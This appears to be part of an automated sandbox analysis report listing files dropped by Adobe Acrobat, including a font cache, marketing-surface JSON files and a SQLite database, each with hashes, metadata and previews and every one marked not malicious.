SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6968

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.355326863165455
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJM3g98kUwPeUkwRe9:YvXKXmDTAin0ctyGMbLUkee9
MD5:	FE307E5D5C23CF55887CC77130824906
SHA1:	63D2162C1E892E319637CA965755BDDE4DD3F441
SHA-256:	03CFBEBB5206958ABE24B8E47F111C4712B3E9AA6CE54CDD418610F808F386AA
SHA-512:	406A8BA399DAE598B3963FB3E54143D56C05CD263E550ADC7D4322D74999CE3387F05FAD98B31F8A0A6C89F92EAB744AC285059B51203877CF07E7A77DF1C789
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.304973587312265
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJfBoTfXpnrPeUkwRe9:YvXKXmDTAin0ctyGWTfXcUkee9
MD5:	7469AA9AF6BB5E963B9172951AA94BB5
SHA1:	141045AA4D5A1D8C94A8A381C9FC5877A221AAF9
SHA-256:	C0745C9CB29C4E321E4F9F26B073370FAC115F14D625424AE685BA9B3B453445
SHA-512:	B9A059CDC9A12052AB4EAEBB197AB2CC44C6C2FD2C419535BB7E9EC5E50C62B79B28B3F731B0B89FE85F8316975C8B038FDEE8249C10998C10618DE58A888223
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.28238385002304
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJfBD2G6UpnrPeUkwRe9:YvXKXmDTAin0ctyGR22cUkee9
MD5:	6C3304124AB3691AD07F5EB027EE75D7
SHA1:	40351C859342E01F76542A5702B178654833A58B
SHA-256:	F9447DED20659AA6C7A122DAE00B70CB9CC393D44E97A2948708ACBC8E6978D3
SHA-512:	D254EB2BF1898B007DABBD6F88B1C5E377EE4C0C3759F734733C9C0467E80E9212CEBA22DBBDE366E32D0280B83923807679C1FEE8367AED0E0B6428EDBF7E9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.33506745556091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJfPmwrPeUkwRe9:YvXKXmDTAin0ctyGH56Ukee9
MD5:	0FF7B9282C0BAB4A6D39F0610C003188
SHA1:	A00C7A758883F97DF6BD3F49C320A3AA93935136
SHA-256:	8C3E344D556A021463C6EE33D053D9FBD41E5FEA258184961D2FCD1A2DA68C1F
SHA-512:	101B3718ECD38B05B5F37448CB7DEF7DE6025E1935AF8C40DC69F309223715F014113BABEEEE109A2E03C81B3E310B8A09DD86718C2F7F5E2F37A744501C2660
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686716902855177
Encrypted:	false
SSDEEP:	24:Yv6XEnZtPpLgE9cQx8LennAvzBvkn0RCmK8czOCCSV:YvXhgy6SAFv5Ah8cv/V
MD5:	818525B0515EC9B314FBCE51E7D075C6
SHA1:	0F66E1B4FC179C79EB1301CEE9B74A590033C983
SHA-256:	DD9D357C1308C4A1864CB1DA7899E0DAA7243E1685A03EA0E25ED79E1644F408
SHA-512:	3FF3E2B21B7A2F8B6B65C7B9511BCB033356637D6E51E1E2EE59E3C2443236F66DFC08123BFC3B7BEA15D738435EE7162083C3F9700B28AAFD3507D5AC3B8C29
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2841858078391635
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJf8dPeUkwRe9:YvXKXmDTAin0ctyGU8Ukee9
MD5:	D4F7613DE883D0418FE99186369366C3
SHA1:	E8B846FEB9D287C8344843145BF74DE8ECF749D1
SHA-256:	3B6355C042D7F43016560448639628A6E35A80F7D79AEC601F92F8EF5D59BE87
SHA-512:	7AC4E9403C2704757472CF5BC92C7D4E9DFD2F64D3B7BE41F58D3C2266AB13AE5D0FD16D3F2778C652D0D5BB1288820FBFF8256BBACB270FC163078DDFFDB3DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.287000534558986
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJfQ1rPeUkwRe9:YvXKXmDTAin0ctyGY16Ukee9
MD5:	78F5DA3306641F486A21AEF2FAAD2A21
SHA1:	8F87F1DB73C162FCF9C39EC1584D0497333CF014
SHA-256:	673D7BF2AF75CCB38D4F8769BE2E68D48401F4506F2F96C1A7B2109E1B5F9045
SHA-512:	D20CB19349009C81AD9364180D123F1069BFA30DD43935D3383BFC1AC9FCCF1D41CFCCEDD1C9C5FD2CF7CDE2E93BCBF20684985D6DE53612E8896AFCE07CFAE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296930830175414
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJfFldPeUkwRe9:YvXKXmDTAin0ctyGz8Ukee9
MD5:	B79EDC6DB4AB3C2CCB1851597585E651
SHA1:	3FB4056CEBBEF3B43E201C70F4636F300A58EDB8
SHA-256:	746BBAC47C10C655FC3CF019DE1265406B040ED61DE1128DF3CE4184FF96699D
SHA-512:	EA99384A38A99630E469394C2B4525EF2DB597BE11BEF2FCF453E4BB333C3B0F787B724263975DE2C46C7D50D80A6791F671F8AD5C9F8C78A2B88DB2C47F5BA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.312413801386827
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJfzdPeUkwRe9:YvXKXmDTAin0ctyGb8Ukee9
MD5:	58663C7B73E5DE40D29D69B1B50C0D8C
SHA1:	34FF6F143CC2D563F34BB2E8D78E95228DCF6AAA
SHA-256:	AE26BE4B580AA35AB0AADC1CB2BD01AB4F1F705BD0CAFCA0026893DF8872B41A
SHA-512:	D4A805FD5F23685A9EDF7EB687DB7C3C289A4EA526A792F732E17D56B7B6CE2A54CD6F045816DF371F1839E78F48FE5F3DA065E03119DFFC806D0C3A47F97DF0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29291325724982
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJfYdPeUkwRe9:YvXKXmDTAin0ctyGg8Ukee9
MD5:	B5F13D95E550EE4D991B2840559E3D22
SHA1:	18EDAACC1305F197C0E7052F12FFDD8EB98AE6F4
SHA-256:	598BFD0A931EEB05084198E7945FFD9BF50BF601C551D1536F8165D4D3029A22
SHA-512:	2151831FA1B8C4B846BD44A5F72B06C2F121363397474CDA1179D7ECD561558FFCAE468F572C02E163C0275120C6EEB8208B688581A947ACCCA98DF22F31183B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.279137854402619
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJf+dPeUkwRe9:YvXKXmDTAin0ctyG28Ukee9
MD5:	0EC335FBB9E0514F030B70F3F85B7277
SHA1:	DA791559224A8A41639E86531EEA807BC63E25A2
SHA-256:	36C2147FFF82F388B2A45BFC819A387D73582057F1C12D3E7B39B2CC9F74C5A0
SHA-512:	8D082B5CE94708ABA43A7D3D96E7DC1C5A39DFA84FE2745FCE41C751D6CFE6E17C7D04AD787B187AED1313C2BE145467CB7AAA7D4EE1C869E61A145D53DBB182
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.276509061059424
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJfbPtdPeUkwRe9:YvXKXmDTAin0ctyGDV8Ukee9
MD5:	CE238302A2A14C9D17811F8E4148B8DF
SHA1:	8321DAE6A16FD0D752035676C9F33EDC8E575AD7
SHA-256:	A7556666A2F5B06991218200638484D2B985E817E05F247EFD276164A4C453E6
SHA-512:	2197A2D54A32572CD86011D57C878C13BAE3E26CEA4EEB77D2BCC0AF6B1BEDBF80C33787A32B289A9070DCC920F2F52981D2752FDEE35FD9139816A5A14926F4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.279792290270359
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJf21rPeUkwRe9:YvXKXmDTAin0ctyG+16Ukee9
MD5:	22065F6FEABCE42AE6C622F6E29E1E04
SHA1:	0783A2FD7F99AA994A828DB26AEC53F5EF280DA2
SHA-256:	3B45085D066C9B271E99447EC5C1EEA6E93C3DCE306983826E6605781088CCCE
SHA-512:	D07F2852F37C50702FE51FB70B40A358EDF509174BB0E7E83F9386014D8EF178FD9CD5A61C827C288F6028546E9DE54AB5F07145019DA76ABBCAC00F449BFDA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663366514208811
Encrypted:	false
SSDEEP:	24:Yv6XEnZtXamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSV:YvHBgkDMUJUAh8cvMV
MD5:	53750D2F70F9D8B7F9FE7B83E2E85522
SHA1:	2D21B76D436A7CD78F56BAE538EBFF214E6E6E59
SHA-256:	866B7D75A3803AE5AF1E8268B69951738007BD311980523CD394017390C16DFD
SHA-512:	E449A8B030B6EE0A246A2A9EF2FB30DB54C846ABC5EECFC88628CEF116BB77B589755CDA0532D36046F42916A79E987DED0503566E07337D253A090A212D340D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.257694530558625
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJfshHHrPeUkwRe9:YvXKXmDTAin0ctyGUUUkee9
MD5:	4EFC5CE0B4D6A13D493DB987ACA52BE1
SHA1:	B10FDD3EFB7BC151F37AE304170F4DDFEF09E06E
SHA-256:	22145D9A29671FEA2BDCB211726BF5EF80DE9378D71960BDE3C92F1D8B6E5A02
SHA-512:	2B7776C7C5C10CAEF97CEA909156EB151669B467F67BB474137D4F3A65284E842B56DD9C7735340A072AF7EC105703021CFD76867C21D1F7686B4988C852F84B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.263199797019661
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRQDicAin0nZiQ0Y2bxoAvJTqgFCrPeUkwRe9:YvXKXmDTAin0ctyGTq16Ukee9
MD5:	146543062B43C9EE7EBB5410C764E36D
SHA1:	24CF6B46C812315F4AC88D48B3D51C5B9015336F
SHA-256:	1CB0CA8ED89E1D741EF12EC0A0CFBA46BACEF4E0B3C8F2C727EACC896FE76DF0
SHA-512:	91A44CF06D1F0105544099501AF7BB84FC9C241DA7296F50B3F34290DFCD78697D20E0002F21BEC8FA560F6F4C03112223DE0FF07FB4F29A5EAB89B816D67093
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a5da8740-feb4-4c2c-8bbe-c9cbc55fb63f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736740228575,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142344733510598
Encrypted:	false
SSDEEP:	24:YQfh1naXr/xphaygyOXBGoqxR+UoB1/S1Q848cjyqkj0SqSGPId5/2jx2LSqMCif:YQirHJFxg7T4UYBnUVFao//C9DB/a
MD5:	3663E12188A3D37CC6C3C0195D531A5B
SHA1:	5958F9A0A46FEF325983A89E0D4975A5B3ED5B57
SHA-256:	2D54BEE0994A92B87EE1B3DEE369C8294ADF740F55276EBD16234DDBBF1EABAE
SHA-512:	2C3616234A6ADD144737EC0BACEB87677BDFDA589BF2FEF43F2FFBA5610380B73655B7CABF3496310AA23ECE67D254358C90C7528362D8F1AC7CD62A8D738795
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f0f9936957980c9bec5d6b179377ff79","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736563348000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3e08b29b9a2a4ffd007fc2f82714edf3","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736563348000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d23b3380c0a0bd83e2587bb3740f6b28","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736563348000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"dcd9d51ab52f17ab0eebec9e7eccead9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736563348000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"74626d379ff9781766d1106ba7224561","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736563348000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"8f533cb73862196ba638cdb4453ff0be","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.146673398747596
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursSIRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcS:TFl2GL7msbXc+XcGNFlRYIX2v3ky
MD5:	352F82AB136F61167FC4D102CEFBCF44
SHA1:	7062A21751100F128226611A5D231BF093BBE3E4
SHA-256:	DA838117824C674E10D574673AB7C6425BC27B330F47DDB0F8982237F26086FB
SHA-512:	48430ECC54403AA61F0D82976119D893B8990726A3D8A3B9B68B3EE6F3F3CF6B95B2F23AD4ADF7B137C329E3B303FD90AC212C3DC938C495850976FAD2D4D23A
Malicious:	false
